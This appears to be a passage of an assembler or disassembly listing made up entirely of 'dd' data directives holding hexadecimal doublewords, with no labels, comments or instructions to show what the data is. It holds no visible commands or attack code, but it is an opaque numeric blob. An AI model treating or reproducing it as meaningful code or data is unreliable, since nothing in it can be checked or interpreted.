668600E5h, 31B4ACEBh, 0E13EB6FFh dd 573D0C0Bh, 0F75116h, 66F67B65h, 0B9784933h, 0B4EF6C00h dd 1E8607F1h, 0CF081EADh, 0EA4F80D1h, 0CC05F5A7h, 76E4CA0Eh dd 795E6091h, 2F3C5FFh, 0E8DEEE6Bh, 882B572h, 8080D7D9h dd 9B6F0FB1h, 52603374h, 0CEBF1178h, 4FDBE84Bh, 70004B28h dd 139B58A0h, 4F1DCF47h, 33066F11h, 396A43h, 0DA45CE8Fh dd 0F7185598h, 0F619C407h, 1490095Ah, 0FDF3F83h, 2F870767h dd 54417CA3h, 0E1C524C1h, 0EF304166h, 1E9DF051h, 112B3600h dd 0C753A034h, 4121DC85h, 1942CF70h, 0E42D87h, 43246FA5h dd 4B06B654h, 0D6F022F2h, 0DC019704h, 0F08D6C34h, 0E1000811h dd 88CAFFA2h, 58192657h, 0E3009CF5h, 943B7F84h, 0A6028087h dd 0DC537ECCh, 0C928609Bh, 5A84003Dh, 2E9E2847h, 0C498ACBBh dd 5BED1600h, 4A90DFE9h, 13EB98A2h, 78442Dh, 0AC3E553Dh dd 8E00A033h, 6F0499CFh, 1E4BD94Dh, 0CC17AE6Ah, 0F230FF76h dd 0D85C8505h, 0B9C7CBC0h, 402A7E42h, 0DDC189h, 699BE288h dd 0DF7F0898h, 787C9A00h, 0FE4AE934h, 0C2C30F17h, 0B7A0E63Ch dd 0F622EE8h, 76577807h, 99B05E5Fh, 0B3B8FCh, 6A805897h dd 0F282099Ah, 8E63FF27h, 0E736C0A8h, 0ECB7B4h, 821F573Eh dd 8110457Dh, 8E9B7B01h, 1270C5B8h, 107E3D8h, 0F57739C0h dd 7C99EDC4h, 0F409B9BCh, 0F4049FF2h, 9AB2B418h, 4EC2F010h dd 0E48004E2h, 0EF8B0F6Bh, 0B32841E9h, 94387458h, 28FC8611h dd 12214D8h, 113C42D6h, 0CC21FE1Dh, 90D43108h, 0F8058420h dd 116A915Eh, 8411E28Ch, 0B4A6116Bh, 116ED411h, 8821EE1Fh dd 90B62108h, 0FA1A8408h, 393C6C4Ah, 7C508C22h, 0E5440514h dd 1F6A44D0h, 84108944h, 42F38F22h, 8A5F11B4h, 0CD084421h dd 8AB890F0h, 423D643Ch dd 75FE1C11h, 870114A0h, 1910AC89h, 58019023h, 75C76A59h dd 0E47C1BD0h, 0F38004Ah, 0CB3B2215h, 0D6483A00h, 8EAC0A8Dh dd 0E2D10045h, 0B90D8AC2h, 0BA005CA5h, 69FAAA89h, 123909CCh dd 0C04041E3h, 0ACFD5A3Ch, 80B7063Fh, 0E4AFC7A9h, 30F8F8Ch dd 0FEDCCE39h, 17C3788Bh, 23F0C8C0h, 333F6C01h, 5B9770E9h dd 7E5C64h, 0D06312B1h, 94AADF48h, 0B5599105h, 0CE48B85h dd 82AB3093h, 2DCC1F58h, 2CFEBF1Dh, 75258680h, 6EFACC2h dd 1C67A294h, 0C7FE7089h, 0C0788F00h, 0DD0D8FAh, 0C1ADC3Fh dd 98781EC9h, 0AB6450FDh, 0BB73BCE5h, 22F1B10Bh, 0EBC820D0h dd 126BF79h, 45B39485h, 0F1A61462h, 0DAEA30E8h, 210052E8h dd 0AC72B269h, 0B8838BA9h, 0C62B001Ch, 0D4B86C04h, 32009E26h dd 0FD37560h, 7E922h, 40C8B994h, 0AFBD360Ch, 9C281200h dd 3D7E5539h, 2954003Bh, 67472486h, 3C008F30h, 0BA8D2FFFh dd 0F24521DBh, 5158014Dh, 0FD8659AEh, 7005C9D2h, 0C01608E0h dd 100479D0h, 0DCA4A2D3h, 0DC800035h, 0AC960799h, 0CF005CF0h dd 9012B895h, 0F87252h, 0C0406798h, 99F62F5Eh, 397D7500h dd 0EEF20F97h, 7CA805D3h, 0C0E94B29h, 27A6AE0h, 51D26700h dd 27172B12h, 4C355A7Dh, 6B0ECA38h, 76034A00h, 4C91ACA8h dd 89A51D0Ch, 0FF4E8D1h, 1EBA8CAAh, 8CD80A0h, 0E4E7CA33h dd 4D002732h, 0D885BEA9h, 4E7ED6AAh, 8F2C0071h, 0AC08D4Bh dd 0E5FE9C00h, 0BA9B102h, 419A00A7h, 43A4A60Eh, 0DFFC1018h dd 0DE513100h, 0EB350B55h, 28150119h, 0ABCA9D58h, 0FDD840A2h dd 2007414Fh, 0ED430A9Ah, 1AB653h, 0E4B2D28h, 0BE198FF0h dd 3FB2300Eh, 647CA023h, 51F5CC0h, 6D783A56h, 81EC0F90h dd 0D0DEB127h, 77068C04h, 0CE63AF00h, 5646E77Dh, 39E00A67h dd 0AC42ECh, 535B7B34h, 4C00C6F3h, 0B9A613F2h, 131B88Bh dd 0DE55E5A4h, 0E81CC8C4h, 4401F67Eh, 0D2B10ED7h, 0E37037ACh dd 47340375h, 0D5BB0A5Ch, 0DB70B998h, 5BCF9201h, 0A11B2DF1h dd 182848D9h, 0B840F201h, 207FBB93h, 72085914h, 2C8D61h dd 0F97ACB8Eh, 0A301F1D4h, 62B395F0h, 0C841CCB1h, 6CD89339h dd 5C5E01B7h, 741C0C55h, 0BDC08A04h, 8B1EAC31h, 0C64A6E00h dd 7225E794h, 1490D7h, 4E0E4D2Eh, 39DE5E6h, 4982AF0Ch dd 6FA11CDh, 4669A7A2h, 141F58FBh, 0C2C0EA1Fh, 0C1E44E3Fh dd 43E0FFh, 0E7DF858Ch, 9588468Fh, 9DEA1A00h, 40D89122h dd 26429037h, 25C718Bh, 472535FCh, 0ACF71860h, 6D00FC94h dd 0E90BDEF8h, 0D2D30026h, 25C55633h, 0E300F07Ch, 0D1CCC3BBh dd 33F2389h, 91A1014Fh, 0FAE82B48h, 7F00CF2Fh, 0A8FB7CA7h dd 1AB4CEh, 0A5F1C2D6h, 8103EA6Eh, 53D2BF00h, 21A15463h dd 0AC5B00ECh, 6637392Ah, 771FD5DFh, 80FED787h, 38BDC8F6h dd 76C2BAh, 7CA36229h, 8BC987CFh, 0C324271Fh, 0D05A6AC3h dd 0F161D77Bh, 13C037AEh, 0D82F5065h, 821009B6h, 78E0EC50h dd 8095BB7Ch, 21D2E0D4h, 74B9007Bh, 7D44568Fh, 0AC002434h dd 72EBF332h, 1D014Bh, 0E2C633A3h, 3D08DE6Fh, 0D8274F28h dd 0D6255C90h, 0C4146067h, 0B17932h, 77473E41h, 0DFB85185h dd 57603D00h, 0B2C34927h, 0FAFED8h, 2B5ED2B5h, 461FBF6Bh dd 0AB233A00h, 18928A39h, 477402ECh, 0B6BA3B8Fh, 0BEDC9880h dd 93005489h, 0B25AFF27h, 1289599h, 0A938E67Bh, 0F8B5B064h dd 0D801929Dh, 146336FEh, 0C8CF22DEh, 95153h, 7B731A4Ch dd 287880D6h, 0FC031F00h, 0C734C60Bh, 8207015Dh, 15E3D06h dd 6B30F4BFh, 3702DA00h, 0AB53739Dh, 0C6DB0089h, 1527CE12h dd 0AC0026E7h, 0C7881BEBh, 3CB285B9h, 49F722Bh, 41A44144h dd 0F8F1E6EFh, 0DD01C116h, 750E3201h, 773050C5h, 30E2016Ch dd 0B1A5A6F7h, 10A07081h, 2685B00h, 2E2F1201h, 60530048h dd 1619096Ah, 4D0747C7h, 72B36C7Ah, 0B2A5AD00h, 0EEF70035h dd 0A2BA1AE9h, 0E5EE4EB5h, 70B1F24Ah, 0C8C0C304h, 883FC86Bh dd 0FD3DE132h, 0E5F9009Ah, 0C9ED128Ah, 87AA0041h, 0FB70A5DFh dd 0C82685DEh, 240070BAh, 0C6F1F3A2h, 0DC093D10h, 0B4677C00h dd 0DBC0A0C5h, 0E286900h, 9601FB22h, 0D5EE00B2h, 0CF8243E4h dd 0D00DE2Dh, 0DB219C6Fh, 2868BA1h, 0B8D757D0h, 0D0C4CDA7h dd 0F8000976h, 8C53C304h, 0F4FD91h, 9926A8B8h, 3174233Bh dd 648F4200h, 0FB28DBA6h, 0CE570F24h, 2501B082h, 3C9EDA4Dh dd 81DD1C1Ch, 87894B83h, 47698054h, 7BD8009Fh, 0D7789E63h dd 438B59Dh, 904D8796h, 0F420EB68h, 0EA44E3h, 224CFD29h dd 960EF7A4h, 5BC1A30Fh, 0D12C3FEh, 0F21C007Dh, 4F2F8CA1h dd 1A00C81Ch, 434B05Bh, 0AED7F7h, 582C86B4h, 0F135E384h dd 0B0A3C42Eh, 0CD6ECB80h, 0EA3EC1h, 0E75660FEh, 41DF4715h dd 3AB74205h, 5880A180h, 1CAA97D4h, 4924882Bh, 100784E2h dd 30809E60h, 9DDF6211h, 80E01F5Ch, 0D776C669h, 532A051Dh dd 805022C3h, 0A6040268h, 0EAB95D00h, 110552AAh, 96409F9Dh dd 617DB2D3h, 0DB001090h, 15E2A859h, 24445780h, 6058FA8Fh dd 4FDC7354h, 6917B504h, 0C80403Dh, 104D37h, 0A814746Dh dd 0BB7901BEh, 81388000h, 0DBE37172h, 0A2403B86h, 9C9613h dd 2B8584B4h, 4C00C5ECh, 682AE62Fh, 70D367Dh, 18F7128h dd 0FC21A0C4h, 6E0012A1h, 0E38ACC3h, 3482C9Ch, 0AAB789C7h dd 3AD9AB7Ah, 0C6C0D77Ch, 0F607F8A5h, 4396D9B2h, 0F8C224D3h dd 52B68Dh, 6C1069F7h, 40DD6154h, 5A26F601h, 6DAF3BF8h dd 8C801861h, 30398D19h, 64016B7Fh, 50F26C11h, 9FD8ED4Bh dd 0C08350A1h, 1ED8FEA0h, 0C322D170h, 0D063585Dh, 0C3E018EAh dd 6AF41736h, 62829C0Ah, 4581B410h, 0AAF99EE7h, 54C512F4h dd 0A030CC5Eh, 0A0B2218Ch, 4A189BC0h, 643440EFh, 0B4D6178h dd 1BC386C0h, 0F0EF8B5h, 0A622021Ah, 0A20DCB7Dh, 0B8F67C80h dd 0A4000477h, 4E87C6AFh, 9155ADh, 6FFA769Ch, 0E7FF08F5h dd 362E5DE8h, 23056026h, 9280BBF6h, 2B09531h, 34BAB6Ch dd 31E0B55Ah, 78008B43h, 28FA8ADBh, 2451542Bh, 106801h dd 55421B2Ah, 0C028C803h, 1600C01Ah, 0B8C58925h, 0A20CE3h dd 0B5D6BAAAh, 0EB95F21Eh, 0CAECAD00h, 56E4F4C7h, 0D8C91D38h dd 7B833EFAh, 0D667DE31h, 9937B6E8h, 0D29C5500h, 0EBED56D5h dd 495400F9h, 387C4A32h, 43000C5Bh, 5F4F170Fh, 0D1C260h dd 8C4B30EFh, 0C83CCB69h, 5A5A6571h, 93883000h, 95C9A8A0h dd 9C0254ABh, 18E0B1D0h, 0DC98BF3Eh, 7BCA39h, 7A1D6779h dd 2961E9Ch, 1A52C541h, 7C7C297Dh, 0AA6A3901h, 0D840B359h dd 0A3D7F073h, 70704888h, 1084500h, 751DA60h, 6E9D9600h dd 1D8AD828h, 90CD5C0Eh, 56E7260Eh, 20F77060h, 2F006D1Ch dd 0FEC0C3D1h, 12752723h, 0CA853Dh, 5C48F626h, 3700576Bh dd 1B600D7Eh, 0FCEC3F39h, 7731F34Dh, 9FC430h, 0D0469159h dd 1C81D65Eh, 0B36FDF00h, 870978A7h, 27F68Dh, 5C99F4C8h dd 436023FDh, 5D0542F0h, 7EEDC7B2h, 8DB2780h, 0BBBA30C9h dd 0D4C110E0h, 89A61D39h, 142332h, 0C3164A82h, 1A742Dh dd 4B13058Ah, 436AA0AAh, 75FA1201h, 0B38FC252h, 2FCEF0h dd 0BC94878Ah, 0F4CCC006h, 81245609h, 1FF870DCh, 0D7544470h dd 1C009122h, 0D400304Ch, 938C0400h, 0E0C64A6Dh, 64B25C49h dd 0E7EB8Ah, 9B8F1DB3h, 0CD015EF1h, 0BBC71297h, 91CCE77Bh dd 0EEBA024Eh, 94E5A04Ah dd 383C7854h, 50A6877Ch, 3E1098AFh, 18ED90h, 5E7AA7C0h dd 6772F0D5h, 3E71A53Ah, 3D23E85h, 0E0A3EEC1h, 8C01E587h dd 0F7AE63B5h, 0AEA0560h, 201F794Ch, 0EC1E00C4h, 2263A550h dd 9E10C9h, 0F616A224h, 98F86382h, 31B06F20h, 2008B28h dd 4D42A37Ah, 72E47ABh, 6C74F1C4h, 161DA012h, 7013843Bh dd 0B0C09490h, 38211F31h, 232599BCh, 0C90D2840h, 97666517h dd 0CCDC0480h, 7078E6h, 557F5CE2h, 0D90E4B8Ah, 0E4C8AB1Eh dd 6DA84A03h, 14A6D952h, 0F33D4C73h, 6899F3Fh, 7CC04EDFh dd 1012E2DAh, 20F416C2h, 0F1C100ECh, 3D279944h, 4C00D846h dd 892EB79Dh, 1678ABAEh, 337014h, 6A6CDD4Bh, 0AC0080DFh dd 91A32539h, 0F579F94h, 0F47E36A9h, 0BE60236Fh, 6F767A84h dd 0D1085200h, 3364DF75h, 5D960B80h, 1C009DF2h, 53DC5F32h dd 0BD76F800h, 37EF0664h, 525013EDh, 276A01D3h, 0C4E8AD96h dd 78F15938h, 3D4000A8h, 0A32AB7F8h, 9070E8A4h, 0A50D00E8h dd 19BD91ACh, 74000ECCh, 811A586Eh, 901CE796h, 0AEFC00D8h dd 0DF31D916h, 0D0083ABh, 9EC8E821h, 3C1E513h, 9F2AE06Dh dd 0D7B81214h, 1D249131h, 8C0008BCh, 0BD922CA0h, 5453187Ah dd 0F0131EB0h, 175A9714h, 3CB20E88h, 0ABE9A107h, 0B8200553h dd 0F4BA17B3h, 6E9F0706h, 0F281C05Fh, 6525CB71h, 938F439h dd 9700FBD8h, 1434BCB1h, 2070282Fh, 6655E0D4h, 0E3B01837h dd 0AD54EFCh, 0F74BD00h, 1EE0F2A7h, 89FA0036h, 6F082D80h dd 7900E6D9h, 939726EBh, 33A349ACh, 896076C7h, 981C9Dh dd 97C44FBCh, 81000CEEh, 0C275A80Eh, 7A909E3Bh, 7B2EEADh dd 8B5346C5h, 3F5F20EAh, 0BF00D2CFh, 9BB15A8Eh, 752A93h dd 336561E4h, 0E1AE7A39h, 3AF35909h, 97D38069h, 2D6517Bh dd 1031607h, 8606FF1h, 71EB541Ah, 39C9F00Ch, 0B1A8C500h dd 0A3071D63h, 92AF03ABh, 570D5238h, 28821100h, 7F07B326h dd 2B5601B9h, 8531E3D1h, 1A4FD021h, 0A482E0A0h, 59EA3D00h dd 3C4EAB52h, 23161747h, 0D03C00B0h, 3D08AD3Eh, 5518A00h dd 53490B0Fh, 1510B86Ah, 0DCD4BB46h, 0FCDA4B01h, 0C817C890h dd 1A4D2AE1h, 0D75F1EC8h, 98048027h, 0FBF668h, 0E57FCC63h dd 0D8ABE628h, 8F2EAC0Fh, 521EEEB6h, 2780A0h, 29C073A2h dd 0DC38E55Ch, 4400114Eh, 0C81225Bh, 0B0830076h, 7D57AC59h dd 0EA0020AAh, 0A69FFAA9h, 0E0B91310h, 0D2EB4C3Bh, 0F46F740Bh dd 33622CA0h, 0B89955F5h, 0F200E024h, 589ACFD7h, 0C880EB8Dh dd 67AF7EE7h, 651C5AA9h, 9298CBD2h, 8BD418h, 3FA30CC2h dd 9DE59545h, 0A81E7F28h, 14EC6E07h, 614093B4h, 7B153FB5h dd 0A87CF0h, 0F9CF1C16h, 4FF4183Ah, 945E0C00h, 77ABD133h dd 0A0D900D0h, 0D881E344h, 157AACB5h, 0FF82E100h, 24935350h dd 62160085h, 2278E89Ah, 192679D8h, 0AF00F7CAh, 0FA745BA0h dd 97D5000Dh, 4276CB80h, 0F80186B1h, 41E88856h, 8AC9EF94h dd 2480CCh, 285C6D54h, 583C35A1h, 74032900h, 11CFE186h dd 61B801CEh, 3382C819h, 868F8DFh, 0F257D700h, 458E9D9Fh dd 15DB00F1h, 3251783Fh, 0C90E59FBh, 8313E829h, 0EBC87Fh dd 0BC0FDE50h, 59336B7Eh, 611F2100h, 169B4F04h, 454800B6h dd 0FDD4985Dh, 0F0063B9h, 0E88986F1h, 0B1DF2Ch, 7BDCB59Ch dd 955DFB3Ah, 9D88F203h, 0F00E33D7h, 3F60D598h, 20BD84E8h dd 0DE286B37h, 0EC3D0C00h, 5B1AE96Eh, 6068B9D0h, 0F8D19D56h dd 7B960035h, 564B310Eh, 0E600D354h, 0EAC1EBD8h, 0B3DF2Bh dd 4840695Eh, 43313D0h, 23078AF0h, 4A9B6EEEh, 103A34D0h dd 0B9C8008Ch, 0F17ECF1Dh, 0F6005D92h, 96324C4Dh, 1ECD1A6Dh dd 10666Ch, 102E7B0h, 3DF042BAh, 2708E000h, 889B7D26h dd 2E530085h, 18BB7B15h, 601CC591h, 0C8A8B103h, 1E5F2000h dd 0C6247A43h, 0F4E902DBh, 2C928BB7h, 0F5EA3160h, 6DB538h dd 3228ADD0h, 3AE16FA8h, 3380717Bh, 0F66EAF49h, 0CC006A74h dd 2E0B29EBh, 52F143h, 0F938C6A4h, 0FFDD7DD0h, 2287B601h dd 0DC028495h, 0C3791080h, 90C220ADh, 0A1B00950h, 28007490h dd 0DCBC6847h, 188F7D7h, 0F0C310E9h, 0D4A5C1BAh, 0C63EBBA0h dd 0ACB080B2h, 0E6A2C84Bh, 0EBE100B4h, 0F80B70A4h, 0D0002514h dd 0E317474Fh, 2E7CF0h, 62BE36D9h, 85FA0A1Dh, 0A8077300h dd 0EECEB6FDh, 1A7E0026h, 57E252B5h, 83006D78h, 4909415Bh dd 1C170F89h, 0C77953h, 0C15A9829h, 0CC12D947h, 3C003D54h dd 10A008DDh, 72280369h, 147A98B1h, 800AA43Bh, 0C9AB2B7Dh dd 3298F4Ah, 4808B950h, 0C090A298h, 7000ED36h, 10E13869h dd 26D47Dh, 0A20D4034h, 734123FEh, 924E3300h, 98975889h dd 4538307Eh, 23B2D8D2h, 8BF1CB01h, 0BFC5341Ah, 2CEB2A80h dd 0B1071E08h, 362501Dh, 0A0C2A58Eh, 0BE409B9Eh, 3C6D0334h dd 0A13E66ECh, 22E7A4D0h, 0FB618500h, 14A0AD1Eh, 0EE121F6Eh dd 3F6A80FCh, 0E4220E7Ch, 1100BD7Ch, 47B25AEDh, 57385Eh dd 48B32A95h, 4586087Ch, 0AB615B03h, 9819C885h, 1F10C14h dd 3BE7559Ah, 0D46CBA31h, 935035BEh, 1006ED9h, 8BAA6F5Dh dd 0A23BA6h, 0C142A7BCh, 0FE58027Ah, 85C73D00h, 0E5A698D9h dd 46AC1E20h, 0EEC3C151h, 0C84011DEh, 7EC7D3Eh, 0EB58EF0Fh dd 0C8017685h, 0CA519EE8h, 3BAD0F4h, 3A474C35h, 0C2F4BDECh dd 38483724h, 2C0080F7h, 705F3078h, 292F15h, 5519AE46h dd 68D56B7Ah, 9A48E0FCh, 225700ACh, 65EB3AB1h, 94F14C75h dd 7961C818h, 0FB0F389Dh, 848E219Eh, 40C06275h, 0E8E0CFB1h dd 2E4C0180h, 5874077Ah, 0B211F442h, 0A5FFB704h, 3880226Eh dd 0FAEFB3h, 54BD44A2h, 0A671C987h, 21F26F18h, 28683C20h dd 0FC25CAh, 47C6F332h, 8DB097A8h, 0FA75AFFCh, 0A0308104h dd 0F4C070C9h, 7E94B6A2h, 0B3830555h, 0EAB064h, 484DB80h dd 0D89103E7h, 0CFC93BC1h, 2F0A034h, 66B2802Eh, 0B86833AEh dd 8A00A87Ch, 0EA572788h, 1F12BBBh, 9374A9CBh, 0C0FA7984h dd 20019B78h, 6E9C019Eh, 8644B58h, 905F03D8h, 1A09DFFFh dd 80DABAE1h, 93D0AF40h, 0FAC4CB04h, 0CAA203CDh, 0B658179h dd 78001EE3h, 0C7544014h, 3F0164h, 3AD36D4Ch, 5D370AF6h dd 14DAC0F9h, 2C97EE26h, 6AEF1100h, 8BE8D5h, 0A7091DF6h dd 12534DB2h, 0F3267A76h, 2300DA55h, 0CC1E8FF5h, 387600D4h dd 0DDBFF9D2h, 880529F3h, 0FACF6E7Fh, 840F4090h, 24E60405h dd 542D6038h, 0C4A50C9Eh, 163B96Bh, 139E5DBBh, 0C5DD83CBh dd 344198B7h, 9FE560h, 19243C2Eh, 0B2A30D22h, 949DDF03h dd 0A05BFB6Ah, 2A432C20h, 2CCD213h, 2D06D633h, 908C8F79h dd 6688A630h, 2980EF7Eh, 6F2DC358h, 94A3786Eh, 4E315A80h dd 41D4F74h, 0E2C66526h, 5491A9D1h, 0EED830h, 0D714CB7h dd 0C06D569Dh, 0D43551C1h, 5048AB04h, 36932A4Bh, 2EA94h dd 7740D0C0h, 62BBC110h, 5796C318h, 242CBD41h, 7020139Fh dd 86007E93h, 0BEAADBB5h, 30D1F090h, 3F98E943h, 0FB047884h dd 47352BEDh, 8B089880h, 0F6E91FDEh, 4BB0C989h, 96E73C80h dd 1C007FF9h, 0BEE6F3B3h, 92FA5C7Ah, 0AE3B008Ch, 0A5A6DD6Ah dd 0F90993B9h, 25198EF6h, 0E08380B8h, 1D5000E9h, 44A5D8FBh dd 202439B4h, 0BE86582Eh, 0B93FAFh, 51D596CDh, 0B7D388F6h dd 25D7C506h, 321AFDFh, 7BBE0C6h, 0D29C9BF6h, 4CE02D00h dd 3E9850A9h, 9C1DC8B0h dd 3B82E7F0h, 0C0F54D1Eh, 0F9AA18h, 0D51F28C3h, 78D1FB7Bh dd 7FFB606h, 0E488759Fh, 68B0098h, 0C76A34ECh, 95120E77h dd 860009C0h, 0F47839CAh, 4A192E9Dh, 69A600A0h, 2488C4B7h dd 966FEF00h, 0AB4CD586h, 617A72h, 0F5742D93h, 76DBE412h dd 6BFB3Fh, 0AC8A08FDh, 7EFFC15h, 745B34E1h, 0C5DCB011h dd 843DCE8Dh, 0D9DE8709h, 66A12B10h, 30E082A8h, 177B034Ah dd 0B81C3787h, 56A39CE8h, 113EF71Dh, 64C69642h, 97FDC085h dd 3AF5005Eh, 3E5B0179h, 33008B4Dh, 6688FECBh, 14CB18Eh dd 4B1D80B3h, 0E8E34184h, 84A30651h, 0A2FF3CD8h, 0A685DA00h dd 97D4C9BCh, 8FF200EAh, 0D2CAB3AFh, 6001CC95h, 92C80D70h dd 68804E49h, 0A9D30891h, 16004D4Ch, 0CCAD8A54h, 0B82AE889h dd 5721160h, 2919CF26h, 5F7C2770h, 0A5329690h, 50EE0006h dd 40520564h, 77009DEAh, 7399E99Eh, 24F0A062h, 0A38AB8h dd 2056AEEh, 1658A7D0h, 2C3F1800h, 0DCEBC8h, 70B4F62Bh dd 9D57E4FDh, 0BE00557Ah, 0E0359C85h, 3FFB3942h, 308E4EC1h dd 0FC005F5Ch, 89C2CB15h, 5DB4D000h, 0DCFD3E6Ch, 0FAC4030Eh dd 0B33D8EB6h, 48E96400h, 92F753EAh, 2A182435h, 388C00D0h dd 2CA51B5Ah, 0ACC65226h, 0BC9C5880h, 839344h, 9D7BE0F4h dd 99EF3D45h, 0AA6C7C00h, 0ABFC312Bh, 3459829h, 1C646865h dd 403DBAECh, 0E5730355h, 0F0FB6B70h, 0EBDA2AAh, 2C9E84E3h dd 4A664380h, 6F0095C4h, 4745ABC2h, 860F88h, 2312F8D2h dd 0E91E71FAh, 7160CB8h, 64302F60h, 98E002BDh, 55F91358h dd 0BC7828F8h, 0C029F03h, 0E047C4B2h, 0B137140Dh, 7A80536Ch dd 0A9B0AB2Fh, 0B615F088h, 6D24A213h, 0DB383600h, 7CA4E02Ch dd 0C9010698h, 51C54175h, 9B90200h, 9B59BE9Eh, 0CB050B8Ah dd 30002B84h, 24AD1352h, 27929716h, 0F3F88040h, 30F0A989h dd 0FC70E49Dh, 0B4125906h, 84BC2C6h, 57A420BDh, 9AF7AC85h dd 47C80920h, 0B88019B9h, 3D2190E6h, 3462506h, 13B89350h dd 0A0CBA81Fh, 7500CAFAh, 8E9F564h, 38C3210Bh, 0F100C1D4h dd 9720A56Dh, 0AA307316h, 28A2E011h, 70D30632h, 89CF9E9Fh dd 81C7633Eh, 438D5AB9h, 14703F8Ch, 0A0716006h, 0FCFBAAC3h dd 8107EBFAh, 3C17FFD7h, 7648C24Fh, 288CC174h, 64628017h dd 3492EA24h, 71D4570Ah, 0B9B8E3h, 0B3C4A0ACh, 134DB1FCh dd 1DAF1455h, 719D8214h, 0A8C41AB4h, 50E02099h, 0C1E5C4Bh dd 2A92892Eh, 7701B9C1h, 40E5CB8Fh, 16C8B8D4h, 0D50B0B47h dd 0DC30F655h, 2B206549h, 2AAE02C7h, 2C4FB5DBh, 0FE388880h dd 0FC00F834h, 49765F58h, 33EE1A2h, 9BB22ED6h, 71002321h dd 0B7F52BD2h, 28F7655h, 0A7AFE4C8h, 0C4C03D93h, 0CC54039Ah dd 90F4D80h, 40160A65h, 7477B8DAh, 0B4140F23h, 0FEBF5A34h dd 96A4112Ch, 0E01E40h, 85C5E859h, 983BE09Eh, 2A4293E1h dd 84961C23h, 6EA11490h, 6FA216B0h, 16985E71h, 207C21D8h dd 695DE82Dh, 0C9C9013h, 0D3F78C40h, 0C9A52D6h, 0C7374D0Fh dd 0E926B638h, 11308CE3h, 22EC5572h, 2626C169h, 5000B2AEh dd 681A888Ch, 174E1FB7h, 0AB974179h, 74F9AE96h, 0E603CB30h dd 57195B9Bh, 0C3C28C78h, 0BD00488Ch, 0F4E7096Ch, 0F025EC81h dd 6CF43815h, 0C3C24E0Fh, 5456602Eh, 72267Ah, 4B601722h dd 0D43E9E62h, 3AC83201h, 93B8B7FBh, 70E452FEh, 27380E57h dd 820A228h, 81EF6DA1h, 3A1558h, 0BB65AAFBh, 751DC5h, 2134F207h dd 0C766B005h, 3B00B4B9h, 7C4F17Eh, 396C602Bh, 3C7CCD45h dd 7A254E00h, 709EF853h, 41FA77h, 2892E6C1h, 57B3A8D7h dd 0DB32E400h, 0A33358B0h, 99B2006Ch, 0F85E72B1h, 302CAB65h dd 7107AC3Dh, 69905CADh, 6D1531h, 89E4F61Ah, 267E57FDh dd 9DAAEE00h, 2B69350Bh, 0E2E9002Ah, 3CECB158h, 43FEB9E5h dd 0AEE6A80Fh, 0F0CE605Dh, 94788Ah, 80C55EA3h, 0BD844A65h dd 0B9AB2809h, 3860017Bh, 62D80667h, 3DE131Ch, 2710D021h dd 223E3AC7h, 0E845805Dh, 2A50B5F9h, 190700A0h, 5B5F5963h dd 88B0A721h, 0F5727C01h, 360311F3h, 4AA860h, 0BF0FCEBCh dd 663E6A7Fh, 74EC2A54h, 0D882A000h, 93187125h, 435301B8h dd 84ADE8Fh, 0F56C346Ah, 3206D61Eh, 66D56B80h, 1FF2DD10h dd 0DE3E86h, 56C268D4h, 3A38AD6Eh, 3DFA4C53h, 0BFFC004Fh dd 8DEAD4D9h, 97FD0080h, 8C8368BCh, 4C92D024h, 78849B00h dd 47A3D8C7h, 58027C94h, 7F9431h, 4CBE620Eh, 7363E9C6h dd 0E3002390h, 35564879h, 7755F237h, 59B0032h, 4F0F201Ah dd 101C365h, 0C846F10Dh, 0B1EC9DDDh, 0B293E062h, 0E22C0038h dd 0BF64CD61h, 2DF20427h, 12B87A0Eh, 4DC01D19h, 7D6C92C5h dd 84C926A9h, 0FC210060h, 0E831014Ah, 872C8000h, 56060AF2h dd 557A037Ch, 48CFFB26h, 5FC6FDE0h, 7D243E00h, 71EB6FB8h dd 4B5C0077h, 7AAE1E2Ch, 854C87A2h, 54492658h, 87E7C90Fh dd 58709CBAh, 96C7F8F4h, 0FED586BCh, 1200B9A5h, 0F8EA1E6Ch dd 0B0D6B536h, 29A201ACh, 1BB96F4Bh, 675C2057h, 2F331700h dd 0CB72859Eh, 54FB0255h, 467BBED9h, 9C68D142h, 360486F5h dd 0D1B35F03h, 0F0AB9CC3h, 24D40FF1h, 8010853Dh, 48DF05EAh dd 24095382h, 6BF6564Bh, 2BF1E0CCh, 9DE8C696h, 46005930h dd 21275465h, 9AE41C89h, 6F9A00B8h, 99AE11FAh, 7758B080h dd 175600D0h, 9EA330C9h, 46F6884Bh, 2A0FF894h, 2ECCC564h dd 91A22487h, 0C0586B80h, 4C90E217h, 49804CBFh, 37652DC5h dd 0BC47C302h, 0A0831D77h, 7362C49Ch, 13A1C0F2h, 29F734AAh dd 544AD100h, 0C356AF74h, 82750480h, 0CCE3DDBBh, 4C00DCF8h dd 0CB11FC9Ch, 3998F7h, 4A5779B5h, 9E93D1Ah, 0BD0F4C00h dd 3B242659h, 882F3005h, 64394979h, 0CE38B403h, 2E0B5C14h dd 8264BAD9h, 4892C497h, 0BB420627h, 17DCC777h, 8110609Fh dd 4909A0E0h, 0A9AD43h, 55C97424h, 0E54813E7h, 391088B1h dd 30A11A2Eh, 0B63E2C8Fh, 40C1C84Bh, 13C858h, 9B84D58Dh dd 7F20BC94h, 0A10BF50Dh, 1ADE595Fh, 0FF79A8C9h, 0ECA1E6E2h dd 0D06B0AAAh, 0E13AC8A0h, 2CF4242Ch, 8AEC9D03h, 738903EDh dd 0E472D554h, 0AB6B1104h, 0D4E0B7A1h, 6FCE20AEh, 0E3000998h dd 55F474E8h, 0F4824BE4h, 2737002Ah, 0E59695FBh, 0EF7F6F54h dd 0C817D300h, 0A9299E4Bh, 1EDE249h, 0F8B4B535h, 30D02512h dd 0AE266485h, 0FB004809h, 95CCB9B6h, 0BA11C003h, 403F1FDFh dd 43C55B04h, 0A417C6h, 0CC7954D0h, 64CC001Dh, 0EA5F3A3h dd 55025A73h, 575C0C6Dh, 9F546375h, 9C92DDC5h, 535C8094h dd 0FE5738h, 3322EF0Ah, 0B088EB8Eh, 29EAFF00h, 2EE39892h dd 0E7640099h, 8FC1B7D6h, 0A3F28421h, 0E1C08D00h, 0F10C229Dh dd 94B0A2h, 79535833h, 0B2725D31h, 2BFFA600h, 6F402C7Ch dd 6EA700C6h, 0DBBE0DC1h, 5601289Ah, 20AFC0F7h, 0AAF8D13Ah dd 5482008Ch, 0BCA24D15h, 955CE1D6h, 0D2E30128h, 0D43A9458h dd 1BBB9D8h, 51B850D5h, 0F44FDB97h, 8600C57Dh, 462A73ACh dd 2D7B5F05h, 1278ED2Eh, 6E4F3F1Eh, 2F679240h, 12040156h dd 0E08DD2h, 